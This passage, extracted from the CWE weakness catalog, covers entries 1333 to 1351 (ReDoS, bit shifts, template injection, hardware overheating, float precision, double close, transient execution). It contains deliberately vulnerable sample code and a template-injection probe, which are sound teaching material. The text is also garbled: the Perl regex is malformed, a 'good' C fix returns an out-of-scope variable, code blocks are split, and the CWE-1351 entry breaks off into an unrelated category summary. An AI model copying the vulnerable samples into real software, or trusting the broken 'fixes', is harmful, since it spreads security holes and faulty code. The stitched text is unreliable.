The regular expression has a vulnerable backtracking clause inside `(\w+\s?)*$` which can be triggered to cause a Denial of Service by processing particular phrases.

To fix the backtracking problem, backtracking is removed with the `?=` portion of the expression which changes it to a lookahead and the `\2` which prevents the backtracking. The modified example is:

Example Language: JavaScript

(good)

```
var test_string = "Bad characters: $@#";
var good_pattern = /^(?=(\w+)\2\s?)*$/i;
var result = test_string.search(good_pattern);
```

Note that [REF-1164] has a more thorough (and lengthy) explanation of everything going on within the RegEx.

Example 2:

This example attempts to check if an input string is a "sentence" and is modified for Perl [REF-1164].

Example Language: Perl

(bad)

```
my $test_string = "Bad characters: \$\@#\#";
my $bdrslt = $test_string;
$bdrslt =~ /\w+\s?*/i;
```

The regular expression has a vulnerable backtracking clause inside `(\w+\s?)*$` which can be triggered to cause a Denial of Service by processing particular phrases.

To fix the backtracking problem, backtracking is removed with the `?=` portion of the expression which changes it to a lookahead and the `\2` which prevents the backtracking. The modified example is:

Example Language: Perl

(good)

```
my $test_string = "Bad characters: \$\@#\#";
my $gdrslt = $test_string;
$gdrslt =~ /^(?=(\w+)\2\s?)*$/i;
```

Note that [REF-1164] has a more thorough (and lengthy) explanation of everything going on within the RegEx.

Observed Examples

CWE-1334: Unauthorized Error Injection Can Degrade Hardware Redundancy

| | |
|---------------------------|-----------------------|
| Weakness ID : 1334 | Status : Draft |
| Structure : Simple | |
| Abstraction : Base | |

Description

An unauthorized agent can inject errors into a redundant block to deprive the system of redundancy or put the system in a degraded operating mode.

Extended Description

To ensure the performance and functional reliability of certain components, hardware designers can implement hardware blocks for redundancy in the case that others fail. This redundant block can be prevented from performing as intended if the design allows unauthorized agents to inject errors into it. In this way, a path with injected errors may become unavailable to serve as a redundant channel. This may put the system into a degraded mode of operation which could be exploited by a subsequent attack.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

| Nature | Type | ID | Name | Page |
|---------|------|-----|-------------------------|------|
| ChildOf | IP | 284 | Improper Access Control | 631 |

Applicable Platforms

Language : Language-Independent (*Prevalence = Undetermined*)

Operating_System : OS-Independent (*Prevalence = Undetermined*)

Architecture : Architecture-Independent (*Prevalence = Undetermined*)

Technology : Technology-Independent (*Prevalence = Undetermined*)

Common Consequences

| Scope | Impact | Likelihood |
|--------------|------------------------------------|------------|
| Integrity | DoS: Crash, Exit, or Restart | |
| Availability | DoS: Instability | |
| | Quality Degradation | |
| | DoS: Resource Consumption (CPU) | |
| | DoS: Resource Consumption (Memory) | |
| | DoS: Resource Consumption (Other) | |
| | Reduce Performance | |
| | Reduce Reliability | |
| | Unexpected State | |

Potential Mitigations

Phase: Architecture and Design

Ensure the design does not allow error injection in modes intended for normal run-time operation.
Provide access controls on interfaces for injecting errors.

Phase: Implementation

Disallow error injection in modes which are expected to be used for normal run-time operation.
Provide access controls on interfaces for injecting errors.

Phase: Integration

Add an access control layer atop any unprotected interfaces for injecting errors.

MemberOf Relationships

This MemberOf relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

CWE-1335: Incorrect Bitwise Shift of Integer

| | |
|---------------------------|-----------------------|
| Weakness ID : 1335 | Status : Draft |
| Structure : Simple | |
| Abstraction : Base | |

Description

An integer value is specified to be shifted by a negative amount or an amount greater than or equal to the number of bits contained in the value causing an unexpected or indeterminate result.

Extended Description

Specifying a value to be shifted by a negative amount is undefined in various languages. Various computer architectures implement this action in different ways. The compilers and interpreters when generating code to accomplish a shift generally do not do a check for this issue.

Specifying an over-shift, a shift greater than or equal to the number of bits contained in a value to be shifted, produces a result which varies by architecture and compiler. In some languages, this action is specifically listed as producing an undefined result.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

| Nature | Type | ID | Name | Page |
|---------|------|-----|-----------------------|------|
| ChildOf | P | 682 | Incorrect Calculation | 1365 |

Applicable Platforms

Language : C (*Prevalence = Undetermined*)

Language : C++ (*Prevalence = Undetermined*)

Language : C# (*Prevalence = Undetermined*)

Language : Java (*Prevalence = Undetermined*)

Language : JavaScript (*Prevalence = Undetermined*)

Operating_System : OS-Independent (*Prevalence = Undetermined*)

Technology : Technology-Independent (*Prevalence = Undetermined*)

Common Consequences

| Scope | Impact | Likelihood |
|-----------|------------------------------|------------|
| Integrity | DoS: Crash, Exit, or Restart | |

Potential Mitigations

Phase: Implementation

Implicitly or explicitly add checks and mitigation for negative or over-shift values.

Demonstrative Examples

Example 1:

A negative shift amount for an x86 or x86_64 shift instruction will produce the number of bits to be shifted by taking a 2's-complement of the shift amount and effectively masking that amount to the lowest 6 bits for a 64 bit shift instruction.

Example Language: C

(bad)

```
unsigned int r = 1 << -5;
```

The example above ends up with a shift amount of -5. The hexadecimal value is FFFFFFFFD which, when bits above the 6th bit are masked off, the shift amount becomes a binary shift value of 111101 which is 61 decimal. A shift of 61 produces a very different

result than -5. The previous example is a very simple version of the following code which is probably more realistic of what happens in a real system.

Example Language: C

(bad)

```
int choose_bit(int reg_bit, int bit_number_from_elsewhere)
{
    if (NEED_TO_SHIFT)
    {
        reg_bit -= bit_number_from_elsewhere;
    }
    return reg_bit;
}

unsigned int handle_io_register(unsigned int *r)
{
    unsigned int the_bit = 1 << choose_bit(5, 10);
    *r |= the_bit;
    return the_bit;
}
```

Example Language: C

(good)

```
int choose_bit(int reg_bit, int bit_number_from_elsewhere)
{
    if (NEED_TO_SHIFT)
    {
        reg_bit -= bit_number_from_elsewhere;
    }
    return reg_bit;
}

unsigned int handle_io_register(unsigned int *r)
{
    int the_bit_number = choose_bit(5, 10);
    if ((the_bit_number > 0) && (the_bit_number < 63))
    {
        unsigned int the_bit = 1 << the_bit_number;
        *r |= the_bit;
    }
    return the_bit;
}
```

Note that the good example not only checks for negative shifts and disallows them but also for over-shifts. Not bit operation is done if the shift is out of bounds. Depending on the program, perhaps an error message should be logged.

Observed Examples

| Reference | Description |
|----------------------|---|
| CVE-2009-4307 | An unexpected large value in the ext4 filesystem causes an overshift condition resulting in a divide by zero. https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2009-4307 |

CWE-1336: Improper Neutralization of Special Elements Used in a Template Engine

Weakness ID : 1336
Structure : Simple
Abstraction : Base

Status: Incomplete

Description

The product uses a template engine to insert or process externally-influenced input, but it does not neutralize or incorrectly neutralizes special elements or syntax that can be interpreted as template expressions or other code directives when processed by the engine.

Extended Description

Many web applications use template engines that allow developers to insert externally-influenced values into free text or messages in order to generate a full web page, document, message, etc. Such engines include Twig, Jinja2, Pug, Java Server Pages, FreeMarker, Velocity, ColdFusion, Smarty, and many others - including PHP itself. Some CMS (Content Management Systems) also use templates.

Template engines often have their own custom command or expression language. If an attacker can influence input into a template before it is processed, then the attacker can invoke arbitrary expressions, i.e. perform injection attacks. For example, in some template languages, an attacker could inject the expression "{7*7}" and determine if the output returns "49" instead. The syntax varies depending on the language.

In some cases, XSS-style attacks can work, which can obscure the root cause if the developer does not closely investigate the root cause of the error.

Template engines can be used on the server or client, so both "sides" could be affected by injection. The mechanisms of attack or the affected technologies might be different, but the mistake is fundamentally the same.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

| Nature | Type | ID | Name | Page |
|---------|---|----|---|------|
| ChildOf |  | 94 | Improper Control of Generation of Code ('Code Injection') | 207 |

Applicable Platforms

Language : Java (Prevalence = Undetermined)

Language : PHP (Prevalence = Undetermined)

Language : Python (Prevalence = Undetermined)

Language : JavaScript (Prevalence = Undetermined)

Language : Interpreted (Prevalence = Undetermined)

Operating_System : OS-Independent (Prevalence = Undetermined)

Technology : Client Server (Prevalence = Undetermined)

Alternate Terms

Server-Side Template Injection / SSTI : This term is used for injection into template engines being used by a server.

Client-Side Template Injection / CSTI : This term is used for injection into template engines being used by a client.

Common Consequences

| Scope | Impact | Likelihood |
|-----------|---------------------------------------|------------|
| Integrity | Execute Unauthorized Code or Commands | |

Potential Mitigations

Phase: Architecture and Design

Choose a template engine that offers a sandbox or restricted mode, or at least limits the power of any available expressions, function calls, or commands.

Phase: Implementation

Use the template engine's sandbox or restricted mode, if available.

Observed Examples

| Reference | Description |
|-----------------------|---|
| CVE-2017-16783 | server-side template injection in content management server https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2017-16783 |
| CVE-2020-9437 | authentication / identity management product has client-side template injection https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2020-9437 |
| CVE-2020-12790 | Server-Side Template Injection using a Twig template https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2020-12790 |
| CVE-2021-21244 | devops platform allows SSTI https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-21244 |
| CVE-2020-4027 | bypass of Server-Side Template Injection protection mechanism with macros in Velocity templates https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2020-4027 |
| CVE-2020-26282 | web browser proxy server allows Java EL expressions from Server-Side Template Injection https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2020-26282 |
| CVE-2020-1961 | SSTI involving mail templates and JEXL expressions https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2020-1961 |
| CVE-2019-19999 | product does not use a "safe" setting for a FreeMarker configuration, allowing SSTI https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2019-19999 |
| CVE-2018-20465 | product allows read of sensitive database username/password variables using server-side template injection https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2018-20465 |

Notes

Relationship

Since expression languages are often used in templating languages, there may be some overlap with CWE-917 (Expression Language Injection). XSS (CWE-79) is also co-located with template injection.

CWE-1338: Improper Protections Against Hardware Overheating

Weakness ID : 1338

Status: Draft

Structure : Simple

Abstraction : Base

Description

A hardware device is missing or has inadequate protection features to prevent overheating.

Extended Description

Hardware, electrical circuits, and semiconductor silicon have thermal side effects, such that some of the energy consumed by the device gets dissipated as heat and increases the temperature of the device. For example, in semiconductors, higher-operating frequency of silicon results in higher power dissipation and heat. The leakage current in CMOS circuits increases with temperature, and this creates positive feedback that can result in thermal runaway and damage the device permanently.

Any device lacking protections such as thermal sensors, adequate platform cooling or thermal insulation is susceptible to attacks by malicious software that might deliberately operate the device in modes that result in overheating. This can be used as an effective denial of service (DoS) or permanent denial of service (PDoS) attack.

Depending on the type of hardware device and its expected usage, such thermal overheating can also cause safety hazards and reliability issues. Note that battery failures can also cause device overheating but the mitigations and examples included in this submission cannot reliably protect against a battery failure.

There can be similar weaknesses with lack of protection from attacks based on overvoltage or overcurrent conditions. However, thermal heat is generated by hardware operation and the device should implement protection from overheating.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

| Nature | Type | ID | Name | Page |
|---------|------|-----|------------------------------|------|
| ChildOf | [P] | 693 | Protection Mechanism Failure | 1384 |

Applicable Platforms

Language : Language-Independent (*Prevalence = Undetermined*)

Operating_System : OS-Independent (*Prevalence = Undetermined*)

Architecture : Architecture-Independent (*Prevalence = Undetermined*)

Technology : Power Management IP (*Prevalence = Undetermined*)

Technology : Processor IP (*Prevalence = Undetermined*)

Technology : Technology-Independent (*Prevalence = Undetermined*)

Common Consequences

| Scope | Impact | Likelihood |
|--------------|-----------------------------------|------------|
| Availability | DoS: Resource Consumption (Other) | High |

Detection Methods

Dynamic Analysis with Manual Results Interpretation

Dynamic tests should be performed to stress-test temperature controls.

Effectiveness = High

Architecture or Design Review

Power management controls should be part of Architecture and Design reviews.

Effectiveness = High

Potential Mitigations

Phase: Architecture and Design

Temperature maximum and minimum limits should be enforced using thermal sensors both in silicon and at the platform level.

Phase: Implementation

The platform should support cooling solutions such as fans that can be modulated based on device-operation needs to maintain a stable temperature.

Demonstrative Examples

Example 1:

Malicious software running on a core can execute instructions that consume maximum power or increase core frequency. Such a power-virus program could execute on the platform for an extended time to overheat the device, resulting in permanent damage.

Execution core and platform do not support thermal sensors, performance throttling, or platform-cooling countermeasures to ensure that any software executing on the system cannot cause overheating past the maximum allowable temperature.

The platform and SoC should have failsafe thermal limits that are enforced by thermal sensors that trigger critical temperature alerts when high temperature is detected. Upon detection of high temperatures, the platform should trigger cooling or shutdown automatically.

MemberOf Relationships

CWE-1339: Insufficient Precision or Accuracy of a Real Number**Weakness ID** : 1339**Status**: Draft**Structure** : Simple**Abstraction** : Base**Description**

The program processes a real number with an implementation in which the number's representation does not preserve required accuracy and precision in its fractional part, causing an incorrect result.

Extended Description

When a security decision or calculation requires highly precise, accurate numbers – such as financial calculations or prices – then small variations in the number could be exploited by an attacker.

There are multiple ways to store the fractional part of a real number in a computer. In all of these cases, there is a limit to the accuracy of recording a fraction. If the fraction can be represented in a fixed number of digits (binary or decimal), there might not be enough digits assigned to represent the number. In other cases the number cannot be represented in a fixed number of digits due to repeating in decimal or binary notation (e.g. 0.333333...) or due to a transcendental number such as π or $\sqrt{2}$. Rounding of numbers can lead to situations where the computer results do not adequately match the result of sufficiently accurate math.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

| Nature | Type | ID | Name | Page |
|----------|------|-----|----------------|------|
| MemberOf | C | 189 | Numeric Errors | 2028 |

Applicable Platforms

Language : Language-Independent (*Prevalence = Undetermined*)

Operating_System : OS-Independent (*Prevalence = Undetermined*)

Architecture : Architecture-Independent (*Prevalence = Undetermined*)

Technology : Technology-Independent (*Prevalence = Undetermined*)

Background Details

There are three major ways to store real numbers in computers. Each method is described along with the limitations of how they store their numbers.

1. Fixed: Some implementations use a fixed number of binary bits to represent both the integer and the fraction. In the demonstrative example about Muller's Recurrence, the fraction $108.0 - ((815.0 - 1500.0 / z) / y)$ cannot be represented in 8 binary digits. The numeric accuracy within

languages such as PL/1, COBOL and Ada is expressed in decimal digits rather than binary digits. In SQL and most databases, the length of the integer and the fraction are specified by the programmer in decimal. In the language C, fixed reals are implemented according to ISO/IEC TR18037

2. Floating: The number is stored in a version of scientific notation with a fixed length for the base and the significand. This allows flexibility for more accuracy when the integer portion is smaller. When dealing with large integers, the fractional accuracy is less. Languages such as PL/1, COBOL and Ada set the accuracy by decimal digit representation rather than using binary digits. Python also implements decimal floating-point numbers using the IEEE 754-2008 encoding method.
3. Ratio: The number is stored as the ratio of two integers. These integers also have their limits. These integers can be stored in a fixed number of bits or in a vector of digits. While the vector of digits method provides for very large integers, they cannot truly represent a repeating or transcendental number as those numbers do not ever have a fixed length.

Common Consequences

| Scope | Impact | Likelihood |
|---|---|------------|
| Availability | DoS: Crash, Exit, or Restart <i>This weakness will generally lead to undefined results and therefore crashes. In some implementations the program will halt if the weakness causes an overflow during a calculation.</i> | |
| Integrity | Execute Unauthorized Code or Commands <i>The results of the math are not as expected. This could cause issues where a value would not be properly calculated and provide an incorrect answer.</i> | |
| Confidentiality Availability Access Control | Read Application Data Modify Application Data <i>This weakness can sometimes trigger buffer overflows which can be used to execute arbitrary code. This is usually outside the scope of a program's implicit security policy.</i> | |

Potential Mitigations

Phase: Implementation

Phase: Patching and Maintenance

The developer or maintainer can move to a more accurate representation of real numbers. In extreme cases, the programmer can move to representations such as ratios of BigInts which can represent real numbers to extremely fine precision. The programmer can also use the concept of an Unum real. The memory and CPU tradeoffs of this change must be examined. Since floating point reals are used in many programs and many locations, they are implemented in hardware and most format changes will cause the calculations to be moved into software resulting in slower programs.

Demonstrative Examples

Example 1:

Muller's Recurrence is a series that is supposed to converge to the number 5. When running this series with the following code, different implementations of real numbers fail at specific iterations:

Example Language: Rust

(bad)

```
fn rec_float(y: f64, z: f64) -> f64
{
    108.0 - ((815.0 - 1500.0 / z) / y);
```

```
}
fn float_calc(turns: usize) -> f64
{
    let mut x: Vec<f64> = vec![4.0, 4.25];
    (2..turns + 1).for_each(|number|
    {
        x.push(rec_float(x[number - 1], x[number - 2]));
    });
    x[turns]
}
```

The chart below shows values for different data structures in the rust language when Muller’s recurrence is executed to 80 iterations. The data structure f64 is a 64 bit float. The data structures I<number>F<number> are fixed representations 128 bits in length that use the first number as the size of the integer and the second size as the size of the fraction (e.g. I16F112 uses 16 bits for the integer and 112 bits for the fraction). The data structure of Ratio comes in three different implementations: i32 uses a ratio of 32 bit signed integers, i64 uses a ratio of 64 bit signed integers and BigInt uses a ratio of signed integer with up to 2^32 digits of base 256. Notice how even with 112 bits of fractions or ratios of 64bit unsigned integers, this math still does not converge to an expected value of 5.

Example Language: Rust (good)

```
Use num_rational::BigRational;
fn rec_big(y: BigRational, z: BigRational) -> BigRational
{
    BigRational::from_integer(BigInt::from(108))
    - ((BigRational::from_integer(BigInt::from(815))
    - BigRational::from_integer(BigInt::from(1500)) / z)
    / y)
}
fn big_calc(turns: usize) -> BigRational
{
    let mut x: Vec<BigRational> = vec![BigRational::from_float(4.0).unwrap(), BigRational::from_float(4.25).unwrap(),];
    (2..turns + 1).for_each(|number|
    {
        x.push(rec_big(x[number - 1].clone(), x[number - 2].clone()));
    });
    x[turns].clone()
}
```

Example 2:

On February 25, 1991, during the eve of the of an Iraqi invasion of Saudi Arabia, a Scud missile fired from Iraqi positions hit a US Army barracks in Dhahran, Saudi Arabia. It miscalculated time and killed 28 people [REF-1190].

Example 3:

Sleipner A, an offshore drilling platform in the North Sea was incorrectly constructed with an underestimate of 50% of strength in a critical cluster of buoyancy cells needed for construction. This led to a leak in buoyancy cells during lowering, causing a seismic event of 3.0 on the Richter Scale and about \$700M loss [REF-1190].

CWE-1341: Multiple Releases of Same Resource or Handle

Weakness ID : 1341

Status: Incomplete

Structure : Simple

Abstraction : Base

Description

The product attempts to close or release a resource or handle more than once, without an intervening successful open.

Extended Description

Code typically requires "opening" handles or references to resources such as memory, files, devices, connections, services, etc. When the code is finished with using the resource, it is typically expected to "close" or "release" the resource, which indicates to the environment (such as the OS) that the resource can be re-assigned or reused by unrelated processes or actors. APIs or other abstractions are often used to perform this release, such as free() or delete() within C/C++, or file-handle close() operations that are used in many languages.

Unfortunately, the implementation or design of such APIs might expect the developer to be responsible for ensuring that such APIs are only called once per release of the resource. If the developer attempts to release the same resource/handle more than once, then the API's expectations are not met, resulting in undefined and/or insecure behavior. This could lead to consequences such as memory corruption, data corruption, execution path corruption, or other consequences.

Note that while the implementation for most (if not all) resource reservation allocations involve a unique identifier/pointer/symbolic reference, then if this identifier is reused, checking the identifier for resource closure may result in a false state of openness and closing of the wrong resource. For this reason, reuse of identifiers is discouraged.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

| Nature | Type | ID | Name | Page |
|------------|---|-----|---|------|
| ChildOf |  | 675 | Multiple Operations on Resource in Single-Operation Context | 1355 |
| ParentOf |  | 415 | Double Free | 926 |
| CanPrecede |  | 672 | Operation on a Resource after Expiration or Release | 1347 |

Applicable Platforms

Language : Java (*Prevalence = Undetermined*)

Language : Rust (*Prevalence = Undetermined*)

Language : Language-Independent (*Prevalence = Undetermined*)

Language : C (*Prevalence = Undetermined*)

Language : C++ (*Prevalence = Undetermined*)

Operating_System : OS-Independent (*Prevalence = Undetermined*)

Architecture : Architecture-Independent (*Prevalence = Undetermined*)

Technology : Technology-Independent (*Prevalence = Undetermined*)

Common Consequences

| Scope | Impact | Likelihood |
|---------------------------|------------------------------|------------|
| Availability Integrity | DoS: Crash, Exit, or Restart | Medium |

Detection Methods

Automated Static Analysis

For commonly-used APIs and resource types, automated tools often have signatures that can spot this issue.

Automated Dynamic Analysis

Some compiler instrumentation tools such as AddressSanitizer (ASan) can indirectly detect some instances of this weakness.

Potential Mitigations

Phase: Implementation

When closing a resource, set the associated variable to NULL or equivalent value for the given language. Some APIs will ignore this null value or lead to application crashes or exceptions, which may be preferable to data/memory corruption.

Phase: Implementation

Implementing a flag that is set when the resource is opened and cleared when it is closed and checked before closing can be effective at prevention.

Demonstrative Examples

Example 1:

This example attempts to close the file twice. In some cases, the C library `fclose()` function will catch the error and return an error code. In other implementations, a double-free (CWE-415) occurs causing the program to fault. Note that the examples presented here are simplistic, and double `fclose()` calls will frequently be spread around a program, making them more difficult to find during code reviews.

Example Language: C

(bad)

```
char b[2000];
FILE *f = fopen("dbl_cls.c", "r");
if (f)
{
    b[0] = 0;
    fread(b, 1, sizeof(b) - 1, f);
    printf("%s\n", b);
    int r1 = fclose(f);
    printf("\n-----\n1 close done '%d'\n", r1);
    int r2 = fclose(f); // Double close
    printf("2 close done '%d'\n", r2);
}
```

This example only has one call to `fclose()`. While this is certainly the preferred handling of this problem, this simplistic method is not always possible.

Example Language: C

(good)

```
char b[2000];
FILE *f = fopen("dbl_cls.c", "r");
if (f)
{
    b[0] = 0;
    fread(b, 1, sizeof(b) - 1, f);
    printf("%s\n", b);
    int r1 = fclose(f);
    printf("\n-----\n1 close done '%d'\n", r1);
}
```

This example uses a flag to call `fclose()` only once. Note that this flag is explicit. The variable `"f"` could also have been used as it will be either `NULL` if the file is not able to be opened or a valid pointer if the file was successfully opened. If `"f"` is replacing `"f_flg"` then `"f"` would need to be set to `NULL` after the first `fclose()` call so the second `fclose` call would never be executed.

Example Language: C

(good)

```
char b[2000];
int f_flg = 0;
FILE *f = fopen("dbl_cls.c", "r");
if (f)
{
    f_flg = 1;
    b[0] = 0;
    fread(b, 1, sizeof(b) - 1, f);
    printf("%s\n", b);
    if (f_flg)
    {
        int r1 = fclose(f);
        f_flg = 0;
        printf("\n-----\n1 close done '%d'\n", r1);
    }
    if (f_flg)
    {

```

```

int r2 = fclose(f); // Double close
f_flg = 0;
printf("2 close done '%d'\n", r2);
}
}

```

Observed Examples

| Reference | Description |
|-----------------------|---|
| CVE-2019-13351 | file descriptor double close can cause the wrong file to be associated with a file descriptor. https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2019-13351 |
| CVE-2006-5051 | Chain: Signal handler contains too much functionality (CWE-828), introducing a race condition that leads to a double free (CWE-415). https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2006-5051 |
| CVE-2004-0772 | Double free resultant from certain error conditions. https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2004-0772 |

Notes

Terminology

The terms related to "release" may vary depending on the type of resource, programming language, specification, or framework. "Close" has been used synonymously for the release of resources like file descriptors and file handles. "Return" is sometimes used instead of Release. "Free" is typically used when releasing memory or buffers back into the system for reuse.

CWE-1342: Information Exposure through Microarchitectural State after Transient Execution

Weakness ID : 1342

Status: Incomplete

Structure : Simple

Abstraction : Base

Description

The processor does not properly clear microarchitectural state after incorrect microcode assists or speculative execution, resulting in transient execution.

Extended Description

In many processor architectures an exception, mis-speculation, or microcode assist results in a flush operation to clear results that are no longer required. This action prevents these results from influencing architectural state that is intended to be visible from software. However, traces of this transient execution may remain in microarchitectural buffers, resulting in a change in microarchitectural state that can expose sensitive information to an attacker using side-channel analysis. For example, Load Value Injection (LVI) [REF-1202] can exploit direct injection of erroneous values into intermediate load and store buffers.

Several conditions may need to be fulfilled for a successful attack:

- 1) incorrect transient execution that results in remanence of sensitive information;
- 2) attacker has the ability to provoke microarchitectural exceptions;
- 3) operations and structures in victim code that can be exploited must be identified.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

| Nature | Type | ID | Name | Page |
|---------|---|-----|--|------|
| ChildOf |  | 226 | Sensitive Information in Resource Not Removed Before Reuse | 526 |

Relevant to the view "Hardware Design" (CWE-1194)

| Nature | Type | ID | Name | Page |
|---------|---|-----|--|------|
| ChildOf |  | 226 | Sensitive Information in Resource Not Removed Before Reuse | 526 |

Applicable Platforms

Language : Language-Independent (*Prevalence = Undetermined*)

Operating_System : OS-Independent (*Prevalence = Undetermined*)

Architecture : Workstation (*Prevalence = Undetermined*)

Architecture : x86 (*Prevalence = Undetermined*)

Architecture : ARM (*Prevalence = Undetermined*)

Architecture : Other (*Prevalence = Undetermined*)

Technology : Technology-Independent (*Prevalence = Undetermined*)

Technology : System on Chip (*Prevalence = Undetermined*)

Common Consequences

| Scope | Impact | Likelihood |
|-----------------|---------------------------------------|------------|
| Confidentiality | Modify Memory | Medium |
| Integrity | Read Memory | |
| | Execute Unauthorized Code or Commands | |

Potential Mitigations

Phase: Architecture and Design

Phase: Requirements

Hardware ensures that no illegal data flows from faulting micro-ops exists at the microarchitectural level.

Effectiveness = High

Being implemented in silicon it is expected to fully address the known weaknesses with limited performance impact.

Phase: Build and Compilation

Include instructions that explicitly remove traces of unneeded computations from software interactions with microarchitectural elements e.g. lfence, sfence, mfence, clflush.

Effectiveness = High

This effectively forces the processor to complete each memory access before moving on to the next operation. This may have a large performance impact.

Demonstrative Examples

Example 1:

Faulting loads in a victim domain may trigger incorrect transient forwarding, which leaves secret-dependent traces in the microarchitectural state. Consider this example from [REF-1203].

Consider the code gadget:

Example Language: Other

(bad)

```
void call_victim(size_t untrusted_arg) {  
    *arg_copy = untrusted_arg;  
    array[**trusted_ptr * 4096];  
}
```

A processor with this weakness will store the value of `untrusted_arg` (which may be provided by an attacker) to the stack, which is trusted memory. Additionally, this store operation will save this value in some microarchitectural buffer, e.g. the store queue.

In this code gadget, `trusted_ptr` is dereferenced while the attacker forces a page fault. The faulting load causes the processor to mis-speculate by forwarding `untrusted_arg` as the (speculative) load result. The processor then uses `untrusted_arg` for the pointer dereference. After the fault has been handled and the load has been re-issued with the correct argument, secret-dependent information stored at the address of `trusted_ptr` remains in microarchitectural state and can be extracted by an attacker using a code gadget.

Observed Examples

| Reference | Description |
|----------------------|---|
| CVE-2020-0551 | Load value injection in some processors utilizing speculative execution may allow an authenticated user to enable information disclosure via a side-channel with local access. http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2020-0551 |

MemberOf Relationships

This MemberOf relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

| Nature | Type | ID | Name | V | Page |
|----------|---|------|-------------------------|------|------|
| MemberOf |  | 1201 | Core and Compute Issues | 1194 | 2187 |

Notes

Relationship

CWE-1342 differs from CWE-1303, which is related to misprediction and biasing microarchitectural components, while CWE-1342 addresses illegal data flows and retention. For example, Spectre is an instance of CWE-1303 biasing branch prediction to steer the transient execution indirectly.

CWE-1351: Improper Handling of Hardware Behavior in Exceptionally Cold Environments

Weakness ID : 1351

Status: Incomplete

Structure : Simple

Abstraction : Base

Description

A hardware device, or the firmware running on it, is missing or has incorrect protection features to maintain goals of security primitives when the device is cooled below standard operating temperatures.

Extended Description

The hardware designer may improperly anticipate hardware behavior when exposed to exceptionally cold conditions. As a result they may introduce a weakness by not accounting for the modified behavior of critical components when in extreme environments.

An example of a change in behavior is that power loss won't clear/reset any volatile state when cooled below standard operating temperatures. This may result in a weakness when the starting state of the volatile memory is being relied upon for a security decision. For example, a Physical Unclonable Function (PUF) may be supplied as a security primitive to improve confidentiality, authenticity, and integrity guarantees. However, when the PUF is paired with DRAM, SRAM, or another temperature sensitive entropy source, the system designer may introduce weakness by failing to account for the chosen entropy source's behavior at exceptionally low temperatures. In the case of DRAM and SRAM, when power is cycled at low temperatures, the device will not contain the bitwise biasing caused by inconsistencies in manufacturing and will instead contain the data from previous boot. Should the PUF primitive be used in a cryptographic construction which does not account for full adversary control of PUF seed data, weakness would arise.

This weakness does not cover "Cold Boot Attacks" wherein RAM or other external storage is super cooled and read externally by an attacker.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

| Nature | Type | ID | Name | Page |

|-----------------|---------------|

Summary

This category represents one of the phyla in the Seven Pernicious Kingdoms vulnerability classification. It includes weaknesses that are typically introduced during unexpected environmental conditions. According to the authors of the Seven Pernicious Kingdoms, "This section includes everything that is outside of the source code but is still critical to the security of the

product that is being created. Because the issues covered by this kingdom are not directly related to source code, we separated it from the rest of the kingdoms."

| WASC | 15 | | Application Misconfiguration |

Notes

Maintenance

Further discussion about this category was held over the CWE Research mailing list in early 2020. No definitive action has been decided.

Maintenance

This entry is a Category, but various sources map to it anyway despite CWE guidance that Categories should not be mapped. In this case, there are no clear CWE Weaknesses that can be utilized. "Inappropriate Configuration" might be better described as a Weakness, so this entry might be converted to a Weakness in a later version. Further research is required, however, as a "configuration weakness" might be Primary to many other CWEs, i.e., it might be better described in terms of chaining relationships.

Category-19: Data Processing Errors

